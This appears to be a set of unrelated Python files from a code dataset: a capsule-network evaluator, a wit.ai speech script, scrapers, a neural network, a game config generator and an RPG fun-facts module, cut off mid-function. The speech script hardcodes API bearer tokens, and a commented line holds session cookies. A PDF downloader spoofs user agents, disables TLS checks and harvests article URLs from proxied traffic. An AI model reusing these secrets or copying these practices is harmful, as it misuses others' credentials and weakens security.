+{"seq_id":"246605487","text":"from .capsnet import x_test, y_test,margin_loss,accuracy\nimport tensorflow as tf\nimport argparse\nimport os\nimport numpy as np\n\nif __name__ == \"__main__\":\n\t\n\tparser = argparse.ArgumentParser(description=\"Evaluate Capsule Network on MNIST\")\n\tparser.add_argument(\"-b\", \"--batch\", default=50, type=int,\n\t\t\t\t\t\thelp=\"Batch size of the training process.\")\n\tparser.add_argument(\"-d\", \"--directory\", default=\"/saved_model\",\n\t\t\t\t\t\thelp=\"The director the model saving to.\")\n\tparser.add_argument(\"-n\",\"--name\",default=\"saved_model\",\n\t\t\t\t\t\thelp=\"The name of your saved model\")\n\targs = parser.parse_args()\n\t\n\tbatch_size = args.batch\n\tn_iterations_test = x_test.shape[0] // batch_size\n\t\n\tsaver = tf.train.Saver()\n\tcheckpoint_path = os.path.join(args.directory, args.name)\n\n\tloss=margin_loss\n\tX = tf.placeholder(shape=[None, 28, 28, 1], dtype=tf.float32, name=\"X\")\n\ty = tf.placeholder(shape=[None], dtype=tf.int64, name=\"y\")\n\n\twith tf.Session() as sess:\n\t\tsaver.restore(sess, checkpoint_path)\n\t\t\n\t\tloss_tests = []\n\t\tacc_tests = []\n\t\tfor iteration in range(1, n_iterations_test + 1):\n\t\t\tidx = np.random.choice(x_test.shape[0], size=batch_size, replace=False)\n\t\t\tx_batch = x_test[idx, :]\n\t\t\ty_batch = y_test[idx]\n\t\t\tloss_test, acc_test = sess.run(\n\t\t\t\t[loss, accuracy],\n\t\t\t\tfeed_dict={X: x_batch.reshape([-1, 28, 28, 1]),\n\t\t\t\t\t\t y: y_batch})\n\t\t\tloss_tests.append(loss_test)\n\t\t\tacc_tests.append(acc_test)\n\t\t\tprint(\"\\rEvaluating the model: {}/{} ({:.1f}%)\".format(\n\t\t\t\titeration, n_iterations_test,\n\t\t\t\titeration * 100 / n_iterations_test),\n\t\t\t\tend=\" \" * 10)\n\t\tloss_test = np.mean(loss_tests)\n\t\tacc_test = np.mean(acc_tests)\n\t\tprint(\"\\rFinal test accuracy: {:.4f}% Loss: {:.6f}\".format(\n\t\t\tacc_test * 100, loss_test))\n\n\tn_iterations_test = x_test.shape[0] // batch_size\n\n\twith tf.Session() as sess:\n\t\tsaver.restore(sess, checkpoint_path)\n\n\t\tloss_tests = []\n\t\tacc_tests = []\n\t\tfor iteration in range(1, n_iterations_test + 1):\n\t\t\tidx = np.random.choice(x_test.shape[0], size=batch_size, replace=False)\n\t\t\tx_batch = x_test[idx, :]\n\t\t\ty_batch = y_test[idx]\n\t\t\tloss_test, acc_test = sess.run(\n\t\t\t\t[loss, accuracy],\n\t\t\t\tfeed_dict={X: x_batch.reshape([-1, 28, 28, 1]),\n\t\t\t\t\t\t y: y_batch})\n\t\t\tloss_tests.append(loss_test)\n\t\t\tacc_tests.append(acc_test)\n\t\t\tprint(\"\\rEvaluating the model: {}/{} ({:.1f}%)\".format(\n\t\t\t\titeration, n_iterations_test,\n\t\t\t\titeration * 100 / n_iterations_test),\n\t\t\t\tend=\" \" * 10)\n\t\tloss_test = np.mean(loss_tests)\n\t\tacc_test = np.mean(acc_tests)\n\t\tprint(\"\\rFinal test accuracy: {:.4f}% Loss: {:.6f}\".format(\n\t\t\tacc_test * 100, loss_test))","sub_path":"evaluate.py","file_name":"evaluate.py","file_ext":"py","file_size_in_byte":2542,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"360889167","text":"# speech.py\nfrom wit import Wit\nimport json\nimport pyaudio\nimport wave\nimport requests\n\nAPI_ENDPOINT = 'https://api.wit.ai/speech'\nACCESS_TOKEN = \"QGZGDF7P2SWAYKLA7ABW26GZBHFWGPYS\" # english\n#ACCESS_TOKEN = \"CZNJ2PQNJTP3S7QXN2XIFWP35P6N4NHY\" #malay\n\ndef record_audio(RECORD_SECONDS, WAVE_OUTPUT_FILENAME):\n # Setting parameters for audio file\n FORMAT = pyaudio.paInt16\n CHANNELS = 1\n RATE = 44100\n CHUNK = 1024\n \n # Create Pyaudio object\n audio = pyaudio.PyAudio()\n \n # open a new stream fir microphone\n # It creates a PortAudio Stream Wrapper class object\n stream = audio.open(format=FORMAT, channels=CHANNELS, rate=RATE, input=True, frames_per_buffer=CHUNK)\n \n # Start recording\n print(\"Listening...\")\n # list to save all audio frames\n frames = []\n \n for i in range(int(RATE / CHUNK * RECORD_SECONDS)):\n # read audio stream from microphone\n data = stream.read(CHUNK)\n # append audio data to frames list\n frames.append(data)\n \n # End of recording\n print(\"Finished recording.\")\n \n stream.stop_stream()\n stream.close()\n audio.terminate()\n \n # Saving audio\n # create wave file object\n waveFile = wave.open(WAVE_OUTPUT_FILENAME, 'wb')\n \n # settings for wave file object\n waveFile.setnchannels(CHANNELS)\n waveFile.setsampwidth(audio.get_sample_size(FORMAT))\n waveFile.setframerate(RATE)\n waveFile.writeframes(b''.join(frames))\n \n # closing the wave file object\n waveFile.close()\n \ndef read_audio(WAVE_FILENAME):\n # function to read wave file\n with open(WAVE_FILENAME, 'rb') as f:\n audio = f.read()\n return audio\n\ndef RecogniseSpeech(AUDIO_FILENAME, num_seconds = 5):\n # record audio of specified length in specified audio file\n record_audio(num_seconds, AUDIO_FILENAME)\n \n # reading audio\n audio = read_audio(AUDIO_FILENAME)\n \n # defining headers for HTTP request\n headers = {'authorization': 'Bearer ' + ACCESS_TOKEN,\n 'Content-Type': 'audio/wav'}\n\n #Send the request as post request and the audio as data\n resp = requests.post(API_ENDPOINT, headers = headers,\n data = audio)\n\n # Get entity and values\n data = json.loads(resp.content)\n entity = []\n value = []\n print(data)\n try:\n entity = list(data['entities'])\n for i in range(len(entity)):\n value.append(data['entities'][entity[i]][0]['value'])\n except:\n pass\n \n return (entity, value)\n \ndef main():\n #raw_input(\"Press enter to request\")\n # change to hotword activation later\n response = RecogniseSpeech('input.wav', 4)\n return response\n\nif __name__ == '__main__':\n main()","sub_path":"speech.py","file_name":"speech.py","file_ext":"py","file_size_in_byte":2734,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"38051128","text":"from bs4 import BeautifulSoup\nimport requests\nimport time\n\nurl_00='http://bj.xiaozhu.com/fangzi/4637053514.html'\nurl_01='http://bj.xiaozhu.com/search-duanzufang-p1-0/'\n\n\ndef get_info(url,data=None):\n web_data=requests.get(url)\n soup=BeautifulSoup(web_data.text,'lxml')\n titles=soup.select('div.wrap.clearfix.con_bg > div.con_l > div.pho_info > h4 > em')\n address=soup.select('div.wrap.clearfix.con_bg > div.con_l > div.pho_info > p > span')\n prices=soup.select('#pricePart > div.day_l > span')\n imgs_home=soup.select('#curBigImage')\n sexs=soup.select('#floatRightBox > div.js_box.clearfix > div.member_pic > div')\n names=soup.select('#floatRightBox > div.js_box.clearfix > div.w_240 > h6 > a')\n imgs_master=soup.select('#floatRightBox > div.js_box.clearfix > div.member_pic > a > img')\n for title,addres,price,img_home,sex,name,img_master in zip(titles,address,prices,imgs_home,sexs,names,imgs_master):\n if (sex.get('class') == ['member_ico1']):\n ture='woman'\n else:\n ture='man'\n data={\n 'title' :title.get_text(),\n 'addres' :addres.get_text(strip=True),\n 'price' :price.get_text(),\n 'img_home':img_home.get('src'),\n 'sex':ture,\n 'name' :name.get_text(),\n 'img_master':img_master.get('src'),\n }\n print(data)\n#get_info use to get every page's infomation\n\ndef get_link(url,data=None):\n wb_data = requests.get(url)\n soup = BeautifulSoup(wb_data.text, 'lxml')\n linkss=soup.find_all(\"a\",\"resule_img_a\",target='_blank')\n web_links=[]\n for links in linkss:\n web_links.append(links.get('href'))\n #print(web_links[0:-1])\n return web_links\n#return a list include some wed's links\n\nfor i in get_link(url_01):\n print('this is page:' + i + '\\n')\n get_info(i)\n","sub_path":"week1/1_3/my_homework.py","file_name":"my_homework.py","file_ext":"py","file_size_in_byte":1848,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"199724090","text":"import numpy as np\nfrom math import *\n\n\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nclass NeuralNetwork:\n def __init__(self, inputs, targets, nhidden, outputamount):\n self.beta = 1\n self.eta = 0.1\n self.bias = 1\n self.momentum = 0.0\n self.inputs = inputs\n self.targets = targets\n self.nhidden = nhidden\n\n self.inputamount = len(self.inputs[0])\n self.outputamount = outputamount\n # Need to construct the weight network\n # One weight from each node, pluss the bias node\n\n # Works greit with just ones as initial weights\n weighth = 1\n weightl = 0.9\n self.wlayer1 = np.random.uniform(low=-weightl, high=weighth, size=(self.inputamount + 1 , self.nhidden))\n self.wlayer2 = np.random.uniform(low=-weightl, high=weighth, size=(self.nhidden + 1 , self.outputamount))\n\n self.hiddennodes = np.zeros(self.nhidden)\n self.outputnodes = np.zeros(self.outputamount)\n\n def plotvaliderror(self, inputs, targets, valid, validtargets, epochs=100):\n error = 0\n errorlist = []\n epoch = []\n for i in range(0, epochs):\n epoch.append(i)\n self.train(inputs, targets, iterations=10)\n error = 0\n for i in range(len(valid)):\n error += self.errorfunc(self.forward(valid[i]), validtargets[i])\n error /= len(valid)\n errorlist.append(error)\n plt.plot(epoch, errorlist)\n plt.show()\n\n\n\n def earlystopping(self, inputs, targets, valid, validtargets):\n # Implement plotting of the error fucntion to see when\n # it looks like we should stop the training\n\n # Make a new function for plotting the error\n\n error = 999\n epoch = 0\n while error > 0.27:\n epoch+=1\n self.train(inputs, targets, iterations=10)\n error = 0\n for i in range(len(valid)):\n error += self.errorfunc(self.forward(valid[i]), validtargets[i])\n error /= len(valid)\n # Add that value to a list, then plot\n # make a for loop for 100 epochs and plot\n print('Training done! %s epochs done' %epoch)\n\n\n def train(self, inputs, targets, iterations=100):\n # This runs the algorithm trough al the training data b iterations\n for b in range(iterations):\n choice = np.random.choice(len(inputs))\n #choice = 50\n currentinput = inputs[choice]\n currenttarget = targets[choice]\n\n delta_k, delta_j = self.backphase(self.forward(currentinput), currenttarget)\n \"\"\"\n # TESTING\n print('-----------------')\n print('iterasjon nummer ' + str(b))\n print('predicted')\n print(self.forward(currentinput))\n print('expected')\n print(currenttarget)\n #print(delta_k)\n \"\"\"\n\n # Change the weights in the second layer\n for j in range(self.nhidden):\n for k in range(self.outputamount):\n self.wlayer2[j][k] -= self.eta * delta_k[k] * self.hiddennodes[j]\n # Change bias-weight\n for k in range(self.outputamount):\n self.wlayer2[-1][k] -= self.eta * delta_k[k] * self.bias\n\n # Change the weights in the first layer\n for i in range(self.inputamount):\n for j in range(self.nhidden):\n self.wlayer1[i][j] -= self.eta * delta_j[j] * currentinput[i]\n # Change bias weight\n\n for j in range(self.nhidden):\n self.wlayer1[-1][j] -= self.eta * delta_j[j] * self.bias\n\n \"\"\"\n #\n print('-')\n print('delta_k')\n print(delta_k)\n print('delta_j')\n print(delta_j)\n print('wlayer2[0]')\n print(self.wlayer2[0])\n print('wlayer1[0]')\n print(self.wlayer1[0])\n \"\"\"\n\n\n def backphase(self, outputs, targetoutputs):\n # Assumes all the data from the last forward is still stored\n # This should calculate the difference in the weights\n\n # Calculate the delta_k's\n\n dif = outputs - targetoutputs\n delta_k = self.sigmoid_function_d(dif)\n\n # Calculate the delta_j's from the hidden layers\n delta_j = np.zeros(self.nhidden)\n\n for j in range(self.nhidden):\n for k in range(len(delta_k)):\n delta_j[j] += delta_k[k]*self.wlayer2[j][k]\n delta_j[j] *= self.sigmoid_function_d(self.hiddennodes[j])\n\n return delta_k, delta_j\n\n\n def forward(self, inputs):\n # Reset the nodes!!\n self.hiddennodes = np.zeros(self.nhidden)\n self.outputnodes = np.zeros(self.outputamount)\n\n # Forward works, a perfect neural net would give the right answer everytime\n\n # Set up calculations of layer 1\n for i in range(self.inputamount):\n for j in range(self.nhidden):\n # Calcluates the sum of inputs\n self.hiddennodes[j] += inputs[i]*self.wlayer1[i][j]\n for j in range(self.nhidden):\n self.hiddennodes[j] += self.bias*self.wlayer1[-1][j]\n\n # Start on new layer\n for i in range(self.nhidden):\n for j in range(self.outputamount):\n self.outputnodes[j] += self.sigmoid_function(self.hiddennodes[i])*self.wlayer2[i][j]\n for j in range(self.outputamount):\n self.outputnodes[j] += self.bias*self.wlayer2[-1][j]\n # Calculate output to the last nodes, using linear function\n for j in range(self.outputamount):\n self.outputnodes[j] = self.sigmoid_function(self.outputnodes[j])\n\n return self.outputnodes\n\n\n # Confusion matrix produces confusion matrix and how a percentage vector\n # of how well our neural network works\n def confusion(self, inputs, targets, printout=True):\n confmatrix = np.zeros((len(targets[0]),len(targets[0])))\n percentage_vector = np.zeros((len(targets[0])))\n for i in range(len(inputs)):\n # This adds the predicted value to the actual vector\n # A perfect neural network produces only values on the diagonal\n pred = self.forward(inputs[i])\n\n confmatrix[np.argmax(pred)][:] += targets[i][:]\n\n # Adds to percentage_vector\n actual = np.argmax(targets[i])\n if np.argmax(pred) == actual:\n # Adds one top the vector if it predicted correct\n percentage_vector[actual] += 1\n\n # Calculates the percentage which are correct\n # Sums up the rows and then divides the correct score on it\n for i in range(len(targets[0])):\n sum = 0\n for j in range(len(targets[0])):\n sum += confmatrix[i][j]\n if sum == 0:\n percentage_vector[i] = 1\n else:\n percentage_vector[i] /= sum\n\n if printout:\n print('confusion matrix:')\n print(confmatrix)\n print('Percentage correct on each class:')\n print(percentage_vector)\n print('Total accuracy:')\n # The sum of the diagonal is all the correct answers\n # Divide this by the total sum of matrix\n correct = np.sum(np.diag(confmatrix))\n tries = np.sum(confmatrix)\n print(correct/tries)\n\n return percentage_vector\n\n def sigmoid_function(self, x):\n return 1./(1 + np.exp(-x))\n\n def sigmoid_function_d(self, x):\n return self.sigmoid_function(x) * (1 - self.sigmoid_function(x))\n\n def relu(self, x):\n if x > 0:\n return x\n else:\n return 0\n def relu_d(self, x):\n if x > 0:\n return 1\n else:\n return 0\n\n def linear(self, x):\n return x\n\n def linear_d(self, x):\n return 1\n\n def errorfunc(self, outputs, expectedoutputs):\n sum = 0\n for i in range(len(outputs)):\n sum += (outputs[i] - expectedoutputs[i])**2\n return 1./2 * sum\n\n # The derivative of the bias would be 0, so define the biasfunction as x\n def biasfunc(self, x):\n return x\n # So it will always change if there is an error\n def biasfunc_d(self, x):\n return 1\n","sub_path":"code/trash/NeuralNetwork.py","file_name":"NeuralNetwork.py","file_ext":"py","file_size_in_byte":8408,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"592707214","text":"\nfrom selenium import webdriver # 启动浏览器需要用到\nfrom selenium.webdriver.chrome.options import Options\nimport time\nfrom browsermobproxy import Server\nimport requests\nimport os\nimport PyPDF2\nimport faker\nimport uuid\nimport traceback\n\n\nserver = Server(r'C:\\File\\tools\\browsermob-proxy-2.1.4\\bin\\browsermob-proxy.bat')\nserver.start()\nproxy = server.create_proxy()\n\nchrome_options = Options()\nchrome_options.add_argument('--proxy-server={0}'.format(proxy.proxy))\ndriver_path = r\"C:\\File\\tools\\webdriver\\chromedriver.exe\"\ndriver = webdriver.Chrome(driver_path, chrome_options=chrome_options)\n\nfake = faker.Factory.create()\nheader={\"User-Agent\": fake.user_agent()}\n\ndef drivertest(dir=r\"C:\\pdfs\\osti_weliy\"):\n # driver = webdriver.Chrome()\n writer=open(r\"C:\\temp\\r_wiley.txt\",\"w+\",encoding=\"utf-8\")\n with open(r\"C:\\temp\\wiley.txt\",encoding=\"utf-8\") as f:\n for line in f.readlines():\n try:\n url=line.replace(\"\\n\",\"\")\n # url=\"https://onlinelibrary.wiley.com/resolve/doi?DOI=10.1111/gcbb.12366\"\n proxy.new_har(\"douyin\", options={'captureHeaders': True, 'captureContent': True})\n print(time.time(),url)\n driver.get(url)\n a = driver.find_element_by_link_text(\"PDF\")\n pdfurl=a.get_attribute(\"href\")\n if \"/pdf/\" in pdfurl:\n pdfurl=pdfurl.replace(\"/pdf/\",\"/epdf/\")\n\n driver.implicitly_wait(60)\n driver.get(pdfurl)\n time.sleep(20)\n try:\n co=driver.find_element_by_link_text(\"Check out\")\n writer.write(url+\"##\"+pdfurl+\"##No pdf##-1\\n\")\n continue\n except:\n print(\"没有check out!\")\n pass\n\n\n result = proxy.har\n\n for entry in result['log']['entries']:\n _url = entry['request']['url']\n if \"https://dyz6l42c0kkca.cloudfront.net/\" in _url:\n # print(_url)\n try:\n file=creat_filename(dir)\n download(_url,file)\n num=checkpdf(file)\n writer.write(url+\"##\"+pdfurl+\"##\"+file+\"##\"+str(num)+\"\\n\")\n break\n except:\n traceback.print_exc()\n print(\"下载出错!\")\n except:\n # print()\n traceback.print_exc()\n\n\n server.stop()\n driver.close() # 关闭浏览器一个Tab\n\n\ndef download(url, file):\n # time.sleep(random.random()*3+1)\n # proip =find_proxy_ip()\n # print(url)\n # header={'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36',\n # \"Cookie\": \"BIGipServerlbapp_tc3=3892314634.49300.0000; BIGipServerwww.osti.gov_pool=1132494278.20480.0000; __utma=249692800.1749221367.1564467097.1564467097.1564467097.1; __utmc=249692800; __utmz=249692800.1564467097.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); _ga=GA1.2.1749221367.1564467097; _gid=GA1.2.298248318.1564467099; JSESSIONID=1C4287BE446C33FB1B52F566B0983D04; __utmb=249692800.57.10.1564467097\"}\n data = requests.get(url.strip(),headers=header,verify=False,timeout=30)\n # print(data.cookies)\n # print(data.text)\n data.encoding = 'utf-8'\n file = open(file, \"wb+\")\n file.write(data.content)\n\ndef checkpdf(file):\n\n try:\n pdffile = open(file, \"rb+\")\n pdf = PyPDF2.PdfFileReader(pdffile, strict=False)\n num=pdf.getNumPages()\n pdffile.close()\n return num\n except:\n print(\"PDF下载出错。\")\n try:\n pdffile.close()\n os.remove(file)\n except:\n print(\"PDF删除出错.\")\n raise ValueError(\"PDF出错!\")\n\ndef creat_filename(dir):\n uid=str(uuid.uuid1())\n suid=''.join(uid.split('-'))\n return os.path.join(dir,suid+\".pdf\")\n\ndef elsevierdownload(dir=\"\",read_path=r\"C:\\temp\\wiley.txt\",write_path=r\"C:\\temp\\r_wiley.txt\"):\n # driver = webdriver.Chrome(driver_path)\n writer = open(write_path, \"w+\", encoding=\"utf-8\")\n with open(read_path, encoding=\"utf-8\") as f:\n for line in f.readlines():\n try:\n url=line.replace(\"\\n\",\"\")\n print(time.time(),url)\n driver.switch_to.window(driver.window_handles[0])\n driver.get(url)\n a = driver.find_element_by_link_text(\"PDF\")\n a.click()\n time.sleep(1)\n # print(driver.window_handles)\n driver.switch_to.window(driver.window_handles[1])\n _url=driver.current_url\n # print(_url)\n driver.close()\n try:\n file = creat_filename(dir)\n download(_url, file)\n num = checkpdf(file)\n writer.write(url + \"##\" + _url + \"##\" + file + \"##\" + str(num) + \"\\n\")\n except:\n traceback.print_exc()\n print(\"下载出错!\")\n except:\n traceback.print_exc()\n\n\n\nif __name__ == '__main__':\n\n drivertest(dir=r\"C:\\pdfs\\osti_weliy\")\n # elsevierdownload(dir=r\"C:\\pdfs\\yj1209\",read_path=r\"C:\\temp\\er.txt\",write_path=r\"C:\\temp\\ew.txt\")\n\n\n\n\n\n\n","sub_path":"collector/proxy_download.py","file_name":"proxy_download.py","file_ext":"py","file_size_in_byte":5487,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"457676254","text":"# -*- coding: utf-8 -*-\r\nimport makeData.pyMaker.multimaker\r\n\r\nclass PyMaker(makeData.pyMaker.multimaker.PyMaker):\r\n\t\r\n\tdef __init__(self, taskId, *parsers):\r\n\t\tself.taskId = taskId\r\n\t\tsuper(PyMaker, self).__init__(*parsers)\r\n\t\r\n\tdef getName(self):\r\n\t\treturn \"任务%s\" % self.taskId\r\n\t\r\n\tdef transIdx(self, idx):\r\n\t\treturn \"%05d\" % idx\r\n\r\n\tdef getMainModName(self, idx):\r\n\t\treturn \"task.%s.t%s\" % (self.path, self.transIdx(idx))\r\n\t\r\n\tdef getLoadModName(self):\r\n\t\treturn \"task.load\"\r\n\t\r\n\tdef getHeadContent(self, idx):\r\n\t\tcontent = '''# -*- coding: utf-8 -*-\r\nfrom task.defines import *\r\n'''\r\n\t\tif idx == self.taskId:\r\n\t\t\tcontent += \"from task.object import Task as customTask%s\" % LINE_SEP\r\n\t\telse:\r\n\t\t\tcontent += \"from task.%s.t%s import Task as customTask%s\" % (self.path, self.transIdx(self.taskId), LINE_SEP)\r\n\t\treturn content\r\n\t\r\n\tdef getMainContent(self, idx, data):\r\n\t\tparentId = data.get(\"父任务编号\")\r\n\t\tif not parentId:\r\n\t\t\tparentId = self.taskId\r\n\t\ttargetType = task.defines.getTargetTypeDesc(data[\"目标类型\"])\r\n\t\ticon = data[\"图标\"]\r\n\t\ttitle = data[\"标题\"]\r\n\t\tintro = data[\"简介\"]\r\n\t\tdetail = data[\"详情\"]\r\n\t\trewardDesc = data.get(\"奖励描述\", \"\")\r\n\t\tgoAheadScript = data.get(\"前往脚本\", \"\")\r\n\t\tinitScript = data.get(\"初始化脚本\", \"\")\r\n\t\t\r\n\t\tdataList = []\r\n\t\tdataList.append(\"class Task(customTask):\")\r\n\t\tdataList.append(\"parentId = %s\" % parentId)\r\n\t\tdataList.append(\"targetType = %s\" % targetType)\r\n\t\tdataList.append(\"icon = %s\" % icon)\r\n\t\tdataList.append(\"title = '''%s'''\" % title)\r\n\t\tdataList.append(\"intro = '''%s'''\" % intro)\r\n\t\tdataList.append(\"detail = '''%s'''\" % detail)\r\n\t\tdataList.append(\"rewardDesc = '''%s'''\" % rewardDesc)\r\n\t\tdataList.append(\"goAheadScript = '''%s'''\" % goAheadScript)\r\n\t\tdataList.append(\"initScript = '''%s'''\" % initScript)\r\n\t\t\r\n\t\tif idx == self.taskId: # 父任务\r\n\t\t\tfor parser in self.tParser:\r\n\t\t\t\tif parser.getVarName() in (\"main\",):\r\n\t\t\t\t\tcontinue\r\n\t\t\t\tdataList.append(\"%s%s = %s\" % (LINE_SEP, parser.getVarName(), parser.getParseTxt()))\r\n\r\n\t\treturn indent(LINE_SEP.join(dataList), 1, False)\r\n\t\r\n\tdef makeToPyFile(self):\r\n\t\tself.loadConfig()\r\n\t\tsuper(PyMaker, self).makeToPyFile()\r\n\t\t\r\n\tdef loadConfig(self):\r\n\t\t'''加载配置\r\n\t\t'''\r\n\t\tconfigParser = self.getParserByName(\"configInfo\")\r\n\t\tconfigInfo = configParser.getParseTxt()\r\n\t\tif not configInfo:\r\n\t\t\traise Exception(\"%s表错误\" % configParser.sTextName)\r\n\t\t\r\n\t\tconfigInfo = eval(configInfo)\r\n\t\tself.path = configInfo[\"生成路径\"]\r\n\t\tself.pathReal = \"logic/task/%s\" % self.path\r\n# \t\tif not taskTypeData.getConfig(self.taskType, \"名称\"):\r\n# \t\t\traise Exception(\"不存在的任务类型:%s\" % self.taskType)\r\n\t\tif not os.path.exists(self.pathReal):\r\n\t\t\traise Exception(\"目标生成目录不存在:%s\" % self.pathReal)\r\n\r\nfrom makeData.defines import *\r\nimport os\r\nimport task.defines","sub_path":"logic/makeData/pyMaker/taskmaker.py","file_name":"taskmaker.py","file_ext":"py","file_size_in_byte":2830,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"590714130","text":"balance = float(input('Enter the outstanding balance on your credit card: '))\nannual = float(input('Enter the annual credit card interest rate as a decimal: '))\n\ntotalpaid = 0\noutstanding = balance\npayment = 10\nwhile outstanding > 0:\n outstanding = balance\n payment += 10\n for month in range (1,13):\n monthly = annual/12\n outstanding = outstanding*(1+monthly) - payment\n if outstanding <=0:\n break\nprint('RESULT')\nprint('Monthly payment to pay off debt in 1 year: {}'.format(payment))\nprint('Number of months needed: {}'.format(month))\nprint('Balance: {0:.2f}'.format(outstanding))\n","sub_path":"ps1b.py","file_name":"ps1b.py","file_ext":"py","file_size_in_byte":623,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"244821787","text":"import random, rpglib, time\nfrom rpg import rpg\n\n# ========================================\n# CONFIG\n# ========================================\n\nFUN_FACT_REQUEST_INTERVAL\t= 60\nFUN_FACT_LAST_REQUEST_TIME\t= int(time.time())\n\n# ========================================\n# GLOBALS\n# ========================================\n\n# This list is used to have an overview of available fun facts\nFUN_FACT_LIST\t= [\n\t1,\t# Get best KDR\n\t2,\t# Get most gems\n\t3,\t# Get most gold\n\t4,\t# Get most deaths\n\t5,\t# Get most kills\n\t6,\t# Get most messages sent\n\t7,\t# Get most shots fired\n\t8, # Get most suicides\n\t9,\t# Get most rating\n\t10,\t# Get most used words\n\t11,\t# Get playtime info\n\t12\t# Get weapon usage\n]\n\n# ========================================\n# METHODS\n# ========================================\n\ndef announce_funfact(message):\n\tfor i in rpglib.getUseridList():\n\t\trpglib.tell(i, '{}Funfact: {}'.format(rpglib.get_chat_color('pale_green'), message))\n\ndef get_funfact():\n\tfun_fact = random.choice(FUN_FACT_LIST)\n\n\tif fun_fact == 1:\n\t\treturn get_best_kdr()\n\telif fun_fact == 2:\n\t\treturn get_most_gems_player()\n\telif fun_fact == 3:\n\t\treturn get_most_gold_player()\n\telif fun_fact == 4:\n\t\treturn get_most_deaths_player()\n\telif fun_fact == 5:\n\t\treturn get_most_kills_player()\n\telif fun_fact == 6:\n\t\treturn get_most_messages_sent()\n\telif fun_fact == 7:\n\t\treturn get_most_shots_fired()\n\telif fun_fact == 8:\n\t\treturn get_most_suicides()\n\telif fun_fact == 9:\n\t\treturn get_most_rating()\n\telif fun_fact == 10:\n\t\treturn get_most_used_words()\n\telif fun_fact == 11:\n\t\treturn get_playtime_info()\n\telif fun_fact == 12:\n\t\treturn get_weapon_usage()\n\n\treturn 'Error finding fun fact'\n\ndef request_funfact(userid):\n\tglobal FUN_FACT_LAST_REQUEST_TIME\n\n\tif FUN_FACT_REQUEST_INTERVAL <= int(time.time()) - FUN_FACT_LAST_REQUEST_TIME:\n\t\tannounce_funfact(get_funfact())\n\t\tFUN_FACT_LAST_REQUEST_TIME = int(time.time())\n\telse:\n\t\trpglib.tell(userid, 'Server: You need to wait another {} seconds before requesting a funfact'.format(FUN_FACT_REQUEST_INTERVAL - (int(time.time()) - FUN_FACT_LAST_REQUEST_TIME)))\n\n# ========================================\n# GET FUN FACT\n# ========================================\n\ndef get_best_kdr():\n\tplayer_data = {}\n\n\trpg.database.execute('SELECT name, steamid, kills_human, deaths_human FROM Player WHERE kills_human')\n\tfor name, steamid, kills, deaths in rpg.database.cursor.fetchall():\n\t\tif kills:\n\t\t\tif deaths:\n\t\t\t\tkdr = float(rpglib.xdecimal(kills / deaths, 2))\n\t\t\telse:\n\t\t\t\tkdr = float(kills)\n\n\t\t\tplayer_data[steamid] = {'name': name, 'kdr': kdr, 'kills': kills}\n\n\tplayer_kdr = None\n\n\tfor player in player_data:\n\t\tif player_data[player]['kills'] >= 50:\n\t\t\tif player_kdr:\n\t\t\t\tif player_data[player]['kdr'] > player_data[player_kdr]['kdr']:\n\t\t\t\t\tplayer_kdr = player\n\t\t\telse:\n\t\t\t\tplayer_kdr = player\n\n\tif player_kdr:\n\t\treturn '{} currently has the highest KDR at {}'.format(player_data[player_kdr]['name'], player_data[player_kdr]['kdr'])\n\telse:\n\t\tplayer_kills = None\n\n\t\tfor player in player_data:\n\t\t\tif player_data[player]['kills']:\n\t\t\t\tif player_kills:\n\t\t\t\t\tif player_data[player]['kills'] > player_data[player_kills]['kills']:\n\t\t\t\t\t\tplayer_kills = player\n\t\t\t\telse:\n\t\t\t\t\tplayer_kills = player\n\n\t\tif player_kills:\n\t\t\treturn '{} has the most kills with a total of {}'.format(name, player_data[player_kills]['kills'])\n\t\telse:\n\t\t\treturn 'No one has made any kills yet'\n\ndef get_most_gems_player():\n\trpg.database.execute('SELECT name, steamid, gems FROM Player ORDER BY gems DESC LIMIT 1')\n\tresult = rpg.database.cursor.fetchone()\n\tname, steamid, gems = result\n\n\tif rpglib.isOnline(steamid):\n\t\tname = rpg.players[rpglib.getUserid(steamid)]['name']\n\treturn '{} has the most gems with a total of {}'.format(name, gems)\n\ndef get_most_gold_player():\n\trpg.database.execute('SELECT name, steamid, gold FROM Player ORDER BY gold DESC LIMIT 1')\n\tresult = rpg.database.cursor.fetchone()\n\tname, steamid, gold = result\n\n\tif rpglib.isOnline(steamid):\n\t\tname = rpg.players[rpglib.getUserid(steamid)]['name']\n\treturn '{} has the most gold with a total of {}'.format(name, gold)\n\ndef get_most_deaths_player():\n\trpg.database.execute('SELECT name, steamid, deaths_human FROM Player ORDER BY deaths_human DESC LIMIT 1')\n\tresult = rpg.database.cursor.fetchone()\n\tname, steamid, deaths = result\n\n\tif deaths == 0:\n\t\treturn 'No one on the server has died yet'\n\n\tif rpglib.isOnline(steamid):\n\t\tname = rpg.players[rpglib.getUserid(steamid)]['name']\n\treturn '{} currently has the most deaths with a total of {}'.format(name, deaths)\n\ndef get_most_kills_player():\n\trpg.database.execute('SELECT name, steamid, kills_human FROM Player ORDER BY kills_human DESC LIMIT 1')\n\tresult = rpg.database.cursor.fetchone()\n\tname, steamid, kills = result\n\n\tif kills == 0:\n\t\treturn 'No one on the server has made any kills yet'\n\n\tif rpglib.isOnline(steamid):\n\t\tname = rpg.players[rpglib.getUserid(steamid)]['name']\n\treturn '{} currently has the most kills with a total of {}'.format(name, kills)\n\ndef get_most_messages_sent():\n\tmessage_data = {}\n\n\trpg.database.execute('SELECT name, steamid FROM Chatlog')\n\tfor name, steamid in rpg.database.cursor.fetchall():\n\t\tif steamid in message_data:\n\t\t\tmessage_data[steamid]['message_count'] += 